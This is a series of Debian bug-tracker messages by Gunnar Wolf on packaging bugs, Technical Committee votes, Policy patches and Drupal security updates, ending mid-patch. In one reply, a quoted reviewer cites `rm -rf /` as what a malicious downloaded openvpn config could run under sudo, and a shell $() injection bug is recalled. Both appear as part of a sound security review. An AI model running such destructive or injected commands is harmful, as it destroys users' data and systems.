Bug#903543: raspi3-firmware: [PATCH] add configuration options for cmdline.txt

[Gunnar Wolf]

tags 903543 + pending
kthxbye

Fixed in the working tree, will be part of the next firmware upload
(which should be soonish, as a new version was recently made
available)

Bug#906846: mount: Fails to notice that a loopdevice cannot be removed

[Gunnar Wolf]

Package: mount
Version: 2.32-0.1
Severity: normal

If I request losetup to detach from a loop device and it cannot be
detached, I would expect it to notify me accordingly. However:

# losetup --list 
NAMESIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE 
 DIO LOG-SEC
/dev/loop1  0  0 1  0 
/home/gwolf/vcs/raspi3-image-spec/raspi3.img (deleted)   0 512
# if losetup --detach /dev/loop1 ; then echo SUCCESS; else echo FAIL; fi
SUCCESS
# losetup --list 
NAMESIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE 
 DIO LOG-SEC
/dev/loop1  0  0 1  0 
/home/gwolf/vcs/raspi3-image-spec/raspi3.img (deleted)   0 512

When requesting debug information, it seems losetup actually believes
the loopback was dropped - but it is false:

# LOOPDEV_DEBUG=all losetup --detach /dev/loop1
9932: loopdev:  CXT: [0x7ffeaa764d60]: initialize context
9932: loopdev:  CXT: [0x7ffeaa764d60]: init: ignore ioctls
9932: loopdev:  CXT: [0x7ffeaa764d60]: init: loop-control detected 
9932: loopdev:  CXT: [0x7ffeaa764d60]: /dev/loop1 name assigned
9932: loopdev:  CXT: [0x7ffeaa764d60]: open /dev/loop1 [ro]: Success
9932: loopdev:  CXT: [0x7ffeaa764d60]: device removed
9932: loopdev:  CXT: [0x7ffeaa764d60]: de-initialize
9932: loopdev:  CXT: [0x7ffeaa764d60]: closing old open fd
9932: loopdev: ITER: [0x7ffeaa764f18]: de-initialize
# losetup --list 
NAMESIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE 
 DIO LOG-SEC
/dev/loop1  0  0 1  0 
/home/gwolf/vcs/raspi3-image-spec/raspi3.img (deleted)   0 512

Thank you very much for looking into this!

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.15.0-2-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages mount depends on:
ii  libblkid1  2.32-0.1
ii  libc6  2.27-3
ii  libmount1  2.32-0.1
ii  libselinux12.8-1
ii  libsmartcols1  2.32-0.1
ii  util-linux 2.32-0.1

mount recommends no packages.

Versions of packages mount suggests:
pn  nfs-common  

-- no debconf information

Bug#873327: aegisub FTBFS with luajit 2.1

[Gunnar Wolf]

I have applied the patch mentioned above¹ to the aegisub packaging,
and fixed *this portion of* the FTBFS. Unfortunately, aegisub still
fails to build - From my build log:

g++ -MMD -MP -Wdate-time -D_FORTIFY_SOURCE=2 
-I/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/src/ -I.. 
-I/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/src/include 
-I/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/libaegisub/include 
-I/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/build -pthread   -g -O2 
-fdebug-prefix-map=/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg=. 
-fstack-protector-strong -Wformat -Werror=format-security -Wall -Wextra 
-Wno-unused-parameter -fno-strict-aliasing -pipe -g -std=c++11 
-Wno-c++11-narrowing -Wno-unused-local-typedefs -O3 
-I/usr/lib/x86_64-linux-gnu/wx/include/gtk2-unicode-3.0 -I/usr/include/wx-3.0 
-D_FILE_OFFSET_BITS=64 -DWXUSINGDLL -D__WXGTK__ -pthread -include 
/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/src/agi_pre.h   -c -o 
/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/src/utils.o 
/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/src/utils.cpp
/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/src/utils.cpp: In function 
‘wxString LocalizedLanguageName(const wxString&)’:
/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/src/utils.cpp:269:17: error: 
aggregate ‘icu_60::UnicodeString ustr’ has incomplete type and cannot be defined
   UnicodeString ustr;
 ^~~~
At global scope:
cc1plus: warning: unrecognized command line option ‘-Wno-c++11-narrowing’
make[1]: *** [Makefile.target:100: 
/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg/src/utils.o] Error 1
make[1]: Leaving directory '/home/gwolf/vcs/build-area/aegisub-3.2.2+dfsg'
dh_auto_build: make -j1 returned exit code 2
make: *** [debian/rules:8: binary] Error 2

Please do note I am not applying the smaller patch² suggested by Paul
as it would require pulling in the git master - which has advanced
quite a bit from this version, and far exceeds what I'd be comfortable
in doing in a NMU.

--
¹ 
https://build.opensuse.org/package/view_file/multimedia:apps/aegisub/luabins.patch?expand=1
² https://github.com/Aegisub/Aegisub/pull/48


signature.asc
Description: PGP signature

Bug#904043: arm: Enable CONFIG_SPI_SPIDEV

[Gunnar Wolf]

Hi,

This bug is being added as several users (me included) have required
this information from the (unofficial) Raspberry Pi Debian "clean"
image.

There is a great number of devices with similar format, allowing for
GPIO communications, that would benefit from having SPIDEV enabled in
our mainline kernel. FWIW, my particular use case (for which I chose
to switch to Raspbian instead) was to flash ROM images.

Thanks for considering this bug as a harmless and easy-to-fulfill
wishlist request!


signature.asc
Description: PGP signature

Bug#904302: Whether vendor-specific patch series should be permitted in the archive

[Gunnar Wolf]

Sean Whitton dijo [Mon, Jul 30, 2018 at 12:01:35PM +0800]:
> > ...Although if we make a policy change in this, it will require
> > cooperation of the dpkg developers if we don't want to go into 6.1.4
> > (which we don't).
> 
> Sorry, I don't follow.
> 
> Surely policy can disallow things in packages even though those things
> have support in dpkg.  For example, dpkg lets packages connect to the
> Internet to download and embed dependencies, but we forbid that.
> 
> Whether or not the feature is removed from dpkg seems orthogonal to the
> T.C. bug I filed.

You are right. Sorry for the noise.

Still, I would like to have Guillem's opinion.


signature.asc
Description: PGP signature

Bug#904302: Whether vendor-specific patch series should be permitted in the archive

[Gunnar Wolf]

Sean Whitton dijo [Mon, Jul 30, 2018 at 09:30:04AM +0800]:
> > I believe his request might also be considered under §6.1.1, since we're
> > being asked about a policy change.  (After talking to Sean in person, he
> > said he intended it under §6.1.3, not §6.1.1, though.)
> 
> I think technically it's §6.1.3 because according to the policy team
> delegation, we decide what goes into the policy manual.
> 
> But it certainly falls under at least one of §6.1.1 and §6.1.3, and not
> §6.1.4.

...Although if we make a policy change in this, it will require
cooperation of the dpkg developers if we don't want to go into 6.1.4
(which we don't).

I am explicitly cc:ing Guillem here. Guillem, please take a look at
this bug and give us your PoV!


signature.asc
Description: PGP signature

Bug#904302: Whether vendor-specific patch series should be permitted in the archive

[Gunnar Wolf]

Sean Whitton dijo [Mon, Jul 23, 2018 at 09:22:17AM +0800]:
> As a Debian Policy delegate I hereby request that the Technical
> Committee decide whether a proposal that has been submitted to modify
> the Debian Policy Manual should be accepted:
> 
> #850156 [n|  |  ] [dpkg-dev, debian-policy] Please firmly deprecate 
> vendor-specific series files
> 
> I am making this request because we have not been able to establish
> consensus, but I think this bug is one that we should not just leave
> sitting open against debian-policy: if the proposal is eventually
> accepted, then leaving the bug open means more vendor-specific series
> files in the archive that then have to be removed.
> 
> There are currently at least 18 source packages which use
> vendor-specific series files.  I have not been able to determine an
> upper bound.
> (...)

Hi,

FWIW, I did a first reading only of the issue, and I find it quite
agreeable. I think it boils down to the principle of least surprise.

There are many alternative and less-obvious ways where a package can
be programmed to act differently depending on where it is being built,
but having it act at source-unpackaging time effectively hides things
and potentially leads to longer head-scratching periods. #ifdef-like
mechanisms are ugly and might carry some reliability issues, but I
think they are preferable as they are so very explicit.

So... I'd like to have some more discussion on this, particularly I'd
like Mike to explain in a nutshell his views. I have not yet read
#850156 (which I really should before stating a definitive viewpoint).


signature.asc
Description: PGP signature

Bug#864615: please update version of posix standard for scripts (section 10.4)

[Gunnar Wolf]

Sean Whitton dijo [Fri, Jun 15, 2018 at 01:06:43PM +0100]:
> Thank you for this.
> 
> Let's use POSIX.1-2017 rather than relying on the download filenames.
> 
> Please find a revised patch below; hopefully Gunnar will renew his
> second, and perhaps you'll second too, Simon.  Again, all that the patch
> does is:

Sorry for the delay!

Of course, I second the following text.

> - replace the string "SUSv3" with "POSIX.1-2017" wherever it appears
> - update the footnote which gives the download URI for the standard
> 
> > or perhaps replacing SUSv3 with POSIX and clarifying that we use POSIX
> > to refer to the latest version of the POSIX.1 standard.
> 
> This is an interesting suggestion.  So far as I can see the only
> advantage to this is that we don't need Policy bugs to bump the version
> of the standard we target.  That does not strike me as a large enough
> advantage to justify giving up explicit control over the version of the
> standard that applies to Debian -- do you see other advantages?
> 
> Patch:
> 
> > diff --git a/policy/ch-files.rst b/policy/ch-files.rst
> > index 90ae58a..f31a3b4 100644
> > --- a/policy/ch-files.rst
> > +++ b/policy/ch-files.rst
> > @@ -203,9 +203,9 @@ may instead be easier to check the exit status of 
> > commands directly. See
> >  Every script should use ``set -e`` or check the exit status of *every*
> >  command.
> >  
> > -Scripts may assume that ``/bin/sh`` implements the SUSv3 Shell Command
> > +Scripts may assume that ``/bin/sh`` implements the POSIX.1-2017 Shell 
> > Command
> >  Language  [#]_ plus the following additional features not mandated by
> > -SUSv3.. [#]_
> > +POSIX.1-2017.. [#]_
> >  
> >  -  ``echo -n``, if implemented as a shell built-in, must not generate a
> > newline.
> > @@ -238,13 +238,13 @@ SUSv3.. [#]_
> > which are the same as for ``kill`` above, 13 (SIGPIPE) must be
> > allowed.
> >  
> > -If a shell script requires non-SUSv3 features from the shell interpreter
> > +If a shell script requires non-POSIX.1-2017 features from the shell 
> > interpreter
> >  other than those listed above, the appropriate shell must be specified
> >  in the first line of the script (e.g., ``#!/bin/bash``) and the package
> >  must depend on the package providing the shell (unless the shell package
> >  is marked "Essential", as in the case of ``bash``).
> >  
> > -You may wish to restrict your script to SUSv3 features plus the above
> > +You may wish to restrict your script to POSIX.1-2017 features plus the 
> > above
> >  set when possible so that it may use ``/bin/sh`` as its interpreter.
> >  Checking your script with ``checkbashisms`` from the devscripts package
> >  or running your script with an alternate shell such as ``posh`` may help
> > @@ -762,10 +762,10 @@ restricted to ASCII when it is possible to do so.
> > complicated and difficult to manage.
> >  
> >  .. [#]
> > -   Single UNIX Specification, version 3, which is also IEEE 1003.1-2004
> > -   (POSIX), and is available on the World Wide Web from `The Open
> > -   Group `_ after free
> > -   registration.
> > +   The Open Group Base Specifications Issue 7, 2018 Edition, which is
> > +   also known as POSIX.1-2017 and as IEEE Std 1003.1-2017 and is
> > +   available on the World Wide Web from `The Open Group
> > +   `_.
> >  
> >  .. [#]
> > These features are in widespread use in the Linux community and are
> > diff --git a/policy/ch-opersys.rst b/policy/ch-opersys.rst
> > index 7d85c00..32619e8 100644
> > --- a/policy/ch-opersys.rst
> > +++ b/policy/ch-opersys.rst
> > @@ -479,7 +479,7 @@ configurable values should not be placed directly in 
> > the script.
> >  Instead, they should be placed in a file in ``/etc/default``, which
> >  typically will have the same base name as the ``init.d`` script. This
> >  extra file should be sourced by the script when the script runs. It must
> > -contain only variable settings and comments in SUSv3 ``sh`` format. It
> > +contain only variable settings and comments in POSIX.1-2017 ``sh`` format. 
> > It
> >  may either be a ``conffile`` or a configuration file maintained by the
> >  package maintainer scripts. See :ref:`s-config-files` for
> >  more details.


signature.asc
Description: PGP signature

Bug#890596: gnuhtml2latex: Wrong conversion of

[Gunnar Wolf]

tags  + moreinfo,unreproducible
thanks

Hi,

I am afraid I cannot reproduce the bug. Could you send me a minimal
HTML to trigger this from? What is your locale?

FWIW, I tried this:

0 gwolf@mosca『17』/tmp$ cat test.html 

  
Foo.
  
  Atitle.
Thisisthetextofmyparagraph.
  

0 gwolf@mosca『18』/tmp$ gnuhtml2latex test.html 
0 gwolf@mosca『19』/tmp$ cat test.tex 
% This file was converted from HTML to LaTeX with
% gnuhtml2latex program
% (c) Tomasz Wegrzanowski <man...@beer.com> 1999
% (c) Gunnar Wolf <gw...@gwolf.org> 2005-2010
% Version : 0.4.
\documentclass{article}
\begin{document}
\section*{A~~~title.}
\par This~is~the~text~of~my~paragraph.
  \end{document}


signature.asc
Description: PGP signature

Bug#896912: ftp.debian.org: Already removed the drupal7 package at my request, but I uploaded again :-Þ

[Gunnar Wolf]

Package: ftp.debian.org
Severity: normal

Hi,

Drupal7 has already been removed from unstable (#884929), but I am
today performing some security updates - And while preparing the
updates to security-stable and security-unstable, I forgot it was
removed already.

So, you will see drupal7 landing in NEW. Please discard it!

Bug#896701: drupal7: CVE-2018-7602: SA-CORE-2018-004

[Gunnar Wolf]

Salvatore Bonaccorso dijo [Mon, Apr 23, 2018 at 08:53:38PM +0200]:
> The following vulnerability was published for drupal7.
> 
> CVE-2018-7602[0]:
> SA-CORE-2018-004
> 
> If you fix the vulnerability please also make sure to include the
> CVE (Common Vulnerabilities & Exposures) id in your changelog entry.
> 
> For further information see:
> 
> [0] https://security-tracker.debian.org/tracker/CVE-2018-7602
> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7602
> [1] https://www.drupal.org/psa-2018-003

Rather than published, they were forewarned. They will be published
two days from now (when I expect to patch right away!)

Thanks,

Bug#896059: Info received (Bug#896059: Acknowledgement (ncmpc: Defaults to non-policy-compliant configuration file))

[Gunnar Wolf]

tags 896059 + patch
thanks

I believe the following very simple patch will take care of this bug:

diff --git a/debian/rules b/debian/rules
index 042e001..48e323a 100755
--- a/debian/rules
+++ b/debian/rules
@@ -27,6 +27,7 @@ config.status: configure
./configure --host=$(DEB_HOST_GNU_TYPE) \
--build=$(DEB_BUILD_GNU_TYPE) --prefix=/usr \
--mandir=\$${prefix}/share/man \
+   --sysconfidir=/etc \
--disable-mini \
--enable-wide \
--enable-multibyte \


Thanks!


signature.asc
Description: PGP signature

Bug#896059: Acknowledgement (ncmpc: Defaults to non-policy-compliant configuration file)

[Gunnar Wolf]

I see this issue was long ago brought up - Bug #306260, 13 years
ago. Said bug is archived, so I cannot reopen it.

I verified this by:

# mkdir /etc/ncmpc
# echo host=fake.example.com > /etc/ncmpc/config
# exit
$ ncmpc

It still connects to localhost. However,

# mkdir /usr/etc
# mv /etc/ncmpc /usr/etc
# exit
$ ncmpc

tries to connect to fake.example.com

Bug#896059: ncmpc: Defaults to non-policy-compliant configuration file

[Gunnar Wolf]

Package: ncmpc
Version: 0.27-1
Severity: normal

When querying ncmpc for its version information, it displays:

$ ncmpc --version
ncmpc version: 0.27
build options: multibyte wide locale nls colors lirc getmouse artist-screen 
help-screen search-screen song-screen key-screen lyrics-screen outputs-screen 
chat-screen

configuration files:
 /home/gwolf/.ncmpc/config
 /usr/etc/ncmpc/config

That is, were I to want to set systemwide defaults, I would have to do
it in /usr/etc — Which is contrary to regular Debian usage. Please
change it to use /etc/nmcpc/config or something like that!

Thanks,

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.15.0-2-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages ncmpc depends on:
ii  libc62.27-3
ii  libglib2.0-0 2.56.0-6
ii  liblirc-client0  0.10.0-2+b1
ii  libmpdclient22.11-1
ii  libncursesw5 6.1-1
ii  libtinfo56.1-1

ncmpc recommends no packages.

Versions of packages ncmpc suggests:
ii  mpd   0.20.18-1
pn  ncmpc-lyrics  

-- no debconf information

Bug#884929: Please proceed to remove Drupal7 - Dependencies have been removed; big security problem upcoming

[Gunnar Wolf]

Hi,

I have been notified that drupal7-mod-civicrm is finally no longer
built, so the last rdep on drupal7 has been cleared.

The Drupal developers have issued a preventive warning, informing they
will publish a highly critical bug fix for Drupal 7 and 8.x next
Wednesday.

I will update the Drupal versions in stable and olstable, but it would
be great if it could be removed from Unstable by then.

Of course, I will provide updated packages otherwise.

Thank you very much,


signature.asc
Description: PGP signature

Bug#893200: TC Chair election

[Gunnar Wolf]

Didier 'OdyX' Raboud dijo [Sat, Mar 17, 2018 at 10:25:28AM +0100]:
> The ballot is the following:
> 
> ===BEGIN===
> 
> The chair of the Debian Technical Committee will be:
> 
> A : Didier Raboud 
> B : Tollef Fog Heen 
> C : Phil Hands 
> D : Margarita Manterola 
> E : David Bremner 
> F : Niko Tyni 
> G : Gunnar Wolf 
> H : Simon McVittie 
> ===END===

I vote:

D > A > B = C = E = F > G > H

Thanks!


signature.asc
Description: PGP signature

Bug#880014: Technical committee appointment

[Gunnar Wolf]

Chris Lamb dijo [Fri, Mar 16, 2018 at 06:14:37PM +]:
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA256
> 
> Dear fellow developers,
> 
> As defined by our constitution (§6.2.2), the Debian Technical Committee
> has recommended the appointment of Simon McVittie (smcv).

Yay! Welcome on board!

> I am extremely happy to follow their recommendation and hereby appoint
> Simon as a member of the Technical Committee, effective immediately.>
 
> For reference, the nomination of Simon may be followed at
>  and the Committee now consists of:
> 
>   * Didier Raboud (chairman)
> (...)

I have to pick a nit here - I know this mail probably comes from a template
and you are repeating what used to be true here. But, according to GR
003 in 2016¹, Didier is the "Chair" of the Technical Committee, not
the "Chairman".

¹ https://www.debian.org/vote/2016/vote_003

Thanks!


signature.asc
Description: PGP signature

Bug#880014: Call for Votes for new TC member

[Gunnar Wolf]

Didier 'OdyX' Raboud dijo [Sun, Mar 04, 2018 at 11:44:45AM +0100]:
> I call for votes on the following ballot to fill a vacant seat in the TC. The 
> voting period starts immediately and lasts for up to one week, or until the 
> outcome is no longer in doubt (§6.3.1).
> 
> ===BEGIN
> The Technical Committee recommends that Simon McVittie  be
> appointed by the Debian Project Leader to the Technical Committee.
> 
> S: Recommend to Appoint Simon McVittie 
> F: Further Discussion
> ===END

I vote:

S > F


signature.asc
Description: PGP signature

Bug#891150: drupal7: SA-CORE-2018-001: Several vulnerabilities

[Gunnar Wolf]

Salvatore Bonaccorso dijo [Thu, Feb 22, 2018 at 08:46:30PM +0100]:
> There was a new Drupal security advisory at
> 
> https://www.drupal.org/sa-core-2018-001
> 
> where several issues affect as well drupal7.
> 
>  * JavaScript cross-site scripting prevention is incomplete - Critical -
>Drupal 7 and Drupal 8
>  * Private file access bypass - Moderately Critical - Drupal 7
>  * jQuery vulnerability with untrusted domains - Moderately Critical
>- Drupal 7
>  * External link injection on 404 pages when linking to the current page
>- Less Critical - Drupal 7

I intend to work on this tomorrow; have been quite time-constrained,
so any help will be welcome. But I intend to upload a new version for,
at least, unstable and stable-security tomorrow afternoonish (@mex).

Thanks for the heads-up.

Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

[Gunnar Wolf]

Michael Meskes dijo [Mon, Feb 19, 2018 at 12:44:40PM +0100]:
> >   I'd strongly urge you to reconsider packaging this project, for
> >  three main reasons:
> > 
> >   * It relies upon the external VPNGate.net site/service.  If this
> > goes away in the lifetime of a stable Debian release users will
> > be screwed.
> 
> That is actually a good point. I wonder if using a local copy might be
> a good alternative.

I suppose the information it downloads is needed to keep the database
up to date. Thinking about a lifetime of ~5 years (stable+oldstable),
I don't think we could work around that

> >   * It allows security attacks on against the local system which the
> > remote service could exploit:
> > 
> > 1.  The tool downloads a remote URL to /tmp/openvpnconf
> > 
> > 2.  The file is then given as an argument to the command:
> > sudo openvpn /tmp/openvpnconf
> > 
> > 3.  That generated/downloaded openvpn configuration file could
> >be written to do anything, up to and including `rm -rf /`.
> 
> Can you actually get openvpn to do this?

Depends on what information you put in /tmp/openvpn.conf, I guess. The
least likely candidates end up opening holes - i.e. remember the quite
recent KDE notifier bug allowing FAT volume labels containing $() to
be executed :-P

I mean - It might be completely OK. But given this creates
configuration for setting up a high-privileged daemon from a public
place, it'd be on you to carefully comb on the relevant parts of the
source to assert the handling of this information is sensible.

Bug#883573: Call for vote on waiving libpam-systemd dependencies' ordering

[Gunnar Wolf]

Didier 'OdyX' Raboud dijo [Fri, Feb 09, 2018 at 09:14:49AM +0100]:
> I call for votes on the following resolution with regards to #883573.
> The voting period lasts for one week or until the outcome is no longer
> in doubt (§6.3.1).
> 
> === Resolution ===
> 
> In 2014, it was resolved in #746578 that the libpam-systemd binary package 
> alternative dependency on systemd-shim and systemd-sysv shall be set in that 
> order, in order to avoid unwanted init system changes accross upgrades. 
> Debian 
> Stretch has since been released.
> 
> The Committee therefore resolves that:
> 
> 1. The Technical Commitee decision from 2014-11-15 in bug #746578 is repealed.
> 
> This means Debian's normal policies and practices take over and the
> libpam-systemd package's dependencies are set free from specific ordering 
> constraints.  The migration should be managed according to Debian's usual 
> backwards-compatibility arrangements.
> 
> === End Resolution ===
> 
> R: Approve resolution and repeal the TC decision from 2014-11-15 in #746578.
> F: Further Discussion
> 
> --
>   OdyX

I vote:

R > F



signature.asc
Description: PGP signature

Bug#880014: Call for Votes for new TC member

[Gunnar Wolf]

As we agreed on the January #debian-ctte meeting¹, even though action
has been taken on this bug (and thus I am a new TC member), there is
still one open seat to fill. Even though it's not high priority to
fill this position, this bug will remain open until a second TC member
is appointed.

(Nomitations welcome!)

¹ http://meetbot.debian.net/debian-ctte/2018/debian-ctte.2018-01-17-18.58.html


signature.asc
Description: PGP signature

Bug#889493: tech-ctte: Please review if systemd is reliable enough to be the default

[Gunnar Wolf]

Gunnar Wolf dijo [Mon, Feb 05, 2018 at 12:57:47AM -0600]:
> - Enough RC bugs (or evidence of regressions, could even be links to
>   blog posts from people complaining about how systemd is bad or
>   whatever)

Just to be clear - Yes, you linked to the list of bugs on systemd. No
piece of software as widely used as systemd is expected to be
completely bug-free; the list of bugs is as long as I'd expect it to
be, but there is only one grave bug (#784682, resolved) and only one
serious bug (#889144, open). Looking for bugs in unstable yields ~10
open serious bugs, but that's quite expectable at this point on the
release cycle.


signature.asc
Description: PGP signature

Bug#889493: tech-ctte: Please review if systemd is reliable enough to be the default

[Gunnar Wolf]

Philip Hands dijo [Sat, Feb 03, 2018 at 10:22:19PM +0100]:
> On Sat, 03 Feb 2018, "Kingsley G. Morse Jr."  wrote:
> > Package: tech-ctte
> 
> I don't formally have the right to simply close this bug (as I am now
> doing), so if anyone else on the TC thinks there is any merit whatsoever
> in this bug report, please feel free to reopen it.
> 
> Cheers, Phil.

Thanks for swiftly doing this, Phil.

Kingsley, answering to your point: The Technical Committee is not an
investigative body. If you want us to devote countless hours, as the
TC back in 2013-14 did, and expose to endless flaming again... Please
back your request with:

- Enough RC bugs (or evidence of regressions, could even be links to
  blog posts from people complaining about how systemd is bad or
  whatever)

- Clear reasons why the outlook back in 2014 should need to be
  reevaluated; "enough time has passed" is not a reason.

I clearly agree with Phil closing this bug.


signature.asc
Description: PGP signature

Bug#885117: drupal7-mod-civicrm: Please stop building the drupal7-mod-civicrm binary package (dependency drupal7 to be removed)

[Gunnar Wolf]

tags 885117 + patch
thanks

I am attaching a proposed patch to stop building the Drupal7 module
packages. Please note that I have *not* tested it, am just sending
what makes "semantic sense". Most important, probably
debian/patches/debian-split-confname.patch is now useless, but you
should check if no other parts depend on the renamed Wordpress
configuration location.

Greetings,


signature.asc
Description: PGP signature

Bug#682347: mark 'editor' virtual package name as obsolete

[Gunnar Wolf]

Russ Allbery dijo [Mon, Dec 25, 2017 at 05:02:01PM -0800]:
> (...)
> I think there are three options, and I'd love to get feedback on which of
> those three options we should take.
> 
> 1. Status quo: there is an undocumented editor virtual package, Policy
>says that nothing has to provide or depend on it, and some random
>collection of editors provide it.  I think this is a bad place to be,
>so I would hope we can rule out sticking with that status quo.
> 
> 2. Document editor and recommend everyone implement it properly.  Since
>we're going to allow packages to depend on editor, I think providing it
>would need to be a should, so that's going to be a lot of buggy (but
>not RC-buggy) editor packages.  But it would get us to a clean
>dependency system.  (I will leave it to someone else to tackle this for
>pager if someone really wants to.)
> 
> 3. Mark editor obsolete, leaving only the alternative, and have people
>just use that directly and assume it exists.  (My previous patch.)
> (...)
> I have a previous proposed patch in this thread for option 3.  For the
> sake of completeness, here's a proposed patch for option 2.
> 
> I'd love to have people weigh in on this.  I know it's currently the
> holiday season, so I'll probably need to ping this bug again in a week or
> two to get more opinions.

I lean towards version 2. Yes, several packages will be buggy - but,
as you mention, not RC-buggy. It's not *that* many packages. And it's
the correct solution.

Of course, I was not familiar with this bug, and am replying just
after skimming it (trying to follow the most salient details), so this
should just be read as a "leaning towards" and not as an "endorsement"
for the patch in question.

Bug#742364: Patch to document debian/missing-sources

[Gunnar Wolf]

Sean Whitton dijo [Sat, Dec 09, 2017 at 12:16:35PM -0700]:
> I am seeking seconds for the following patch:

You just found one. Seconded!

> > diff --git a/policy/ch-source.rst b/policy/ch-source.rst
> > index 37c4442..f8f768f 100644
> > --- a/policy/ch-source.rst
> > +++ b/policy/ch-source.rst
> > @@ -686,6 +686,26 @@ even if most environment variables and build paths are 
> > varied.  It is
> >  intended for this stricter standard to replace the above when it is
> >  easier for packages to meet it.
> >  
> > +Missing sources: ``debian/missing-sources``
> > +---
> > +
> > +Sometimes upstream does not include the source code for some files in
> > +the upstream tarball.  In order to satisfy the DFSG for packages in
> > +``main`` or ``contrib``, you should either:
> > +
> > +1. repack the upstream tarball to include those sources; or
> > +2. include a copy of the sources in the ``debian/missing-sources``
> > +   directory.
> > +
> > +There is an optional convention to organise the contents of
> > +``debian/missing-sources`` in the following way.  For a sourceless
> > +file ``foo`` in the subdirectory ``bar`` of the upstream tarball,
> > +where the source of ``foo`` has extension ``baz``, the source is to be
> > +located at ``debian/missing-sources/bar/foo.baz``.  For example,
> > +according to this convention, the C source code of an executable
> > +``checksum/util`` is to be located at
> > +``debian/missing-sources/checksum/util.c``.
> > +
> >  .. [#]
> > See the file ``upgrading-checklist`` for information about policy
> > which has changed between different versions of this document.




signature.asc
Description: PGP signature

Bug#864615: please update version of posix standard for scripts (section 10.4)

[Gunnar Wolf]

Sean Whitton dijo [Sat, Oct 14, 2017 at 03:28:04PM -0700]:
> > The 2016 edition is Technical Corrigendum 2. I'm not sure that it's
> > conventional to use versioning such as 4.2 in such cases, however. I'd
> > expect it to be referred to as SUSv4, SUSv4TC2, or SUSv4 2016 edition;
> > the latter seems to be more common.
> 
> Thank you for the clarification, Adam.
> 
> I am seeking seconds for the following patch.  It's not so readable, so
> let me summarise the changes:
> 
> - replace the string "SUSv3" with "SUSv4 (2016 edition)" wherever it
>   appears
> - reflow paragraphs where necessary

I second your patch; it makes sense to do this simple update. Quoting
it in full just to make _what_ I'm seconding explicit.

> For the reasons explained in my previous e-mail, I think it's reasonable
> to make this change now.
> 
> > diff --git a/policy/ch-files.rst b/policy/ch-files.rst
> > index d4df316..dc0d152 100644
> > --- a/policy/ch-files.rst
> > +++ b/policy/ch-files.rst
> > @@ -202,9 +202,9 @@ may instead be easier to check the exit status of 
> > commands directly. See
> >  Every script should use ``set -e`` or check the exit status of *every*
> >  command.
> >
> > -Scripts may assume that ``/bin/sh`` implements the SUSv3 Shell Command
> > -Language  [#]_ plus the following additional features not mandated by
> > -SUSv3.. [#]_
> > +Scripts may assume that ``/bin/sh`` implements the SUSv4 (2016
> > +edition) Shell Command Language [#]_ plus the following additional
> > +features not mandated by SUSv4 (2016 edition).. [#]_
> >
> >  -  ``echo -n``, if implemented as a shell built-in, must not generate a
> > newline.
> > @@ -237,18 +237,20 @@ SUSv3.. [#]_
> > which are the same as for ``kill`` above, 13 (SIGPIPE) must be
> > allowed.
> >
> > -If a shell script requires non-SUSv3 features from the shell interpreter
> > -other than those listed above, the appropriate shell must be specified
> > -in the first line of the script (e.g., ``#!/bin/bash``) and the package
> > -must depend on the package providing the shell (unless the shell package
> > -is marked "Essential", as in the case of ``bash``).
> > -
> > -You may wish to restrict your script to SUSv3 features plus the above
> > -set when possible so that it may use ``/bin/sh`` as its interpreter.
> > -Checking your script with ``checkbashisms`` from the devscripts package
> > -or running your script with an alternate shell such as ``posh`` may help
> > -uncover violations of the above requirements. If in doubt whether a
> > -script complies with these requirements, use ``/bin/bash``.
> > +If a shell script requires non-SUSv4 (2016 edition) features from the
> > +shell interpreter other than those listed above, the appropriate shell
> > +must be specified in the first line of the script (e.g.,
> > +``#!/bin/bash``) and the package must depend on the package providing
> > +the shell (unless the shell package is marked "Essential", as in the
> > +case of ``bash``).
> > +
> > +You may wish to restrict your script to SUSv4 (2016 edition) features
> > +plus the above set when possible so that it may use ``/bin/sh`` as its
> > +interpreter.  Checking your script with ``checkbashisms`` from the
> > +devscripts package or running your script with an alternate shell such
> > +as ``posh`` may help uncover violations of the above requirements. If
> > +in doubt whether a script complies with these requirements, use
> > +``/bin/bash``.
> >
> >  Perl scripts should check for errors when making any system calls,
> >  including ``open``, ``print``, ``close``, ``rename`` and ``system``.
> > diff --git a/policy/ch-opersys.rst b/policy/ch-opersys.rst
> > index 7d9e20a..9574f82 100644
> > --- a/policy/ch-opersys.rst
> > +++ b/policy/ch-opersys.rst
> > @@ -461,19 +461,19 @@ statement at the top of the script, like this:
> >  test -f program-executed-later-in-script || exit 0
> >
> >  Often there are some variables in the ``init.d`` scripts whose values
> > -control the behavior of the scripts, and which a system administrator is
> > -likely to want to change. As the scripts themselves are frequently
> > -``conffile``\ s, modifying them requires that the administrator merge in
> > -their changes each time the package is upgraded and the ``conffile``
> > -changes. To ease the burden on the system administrator, such
> > -configurable values should not be placed directly in the script.
> > +control the behavior of the scripts, and which a system administrator
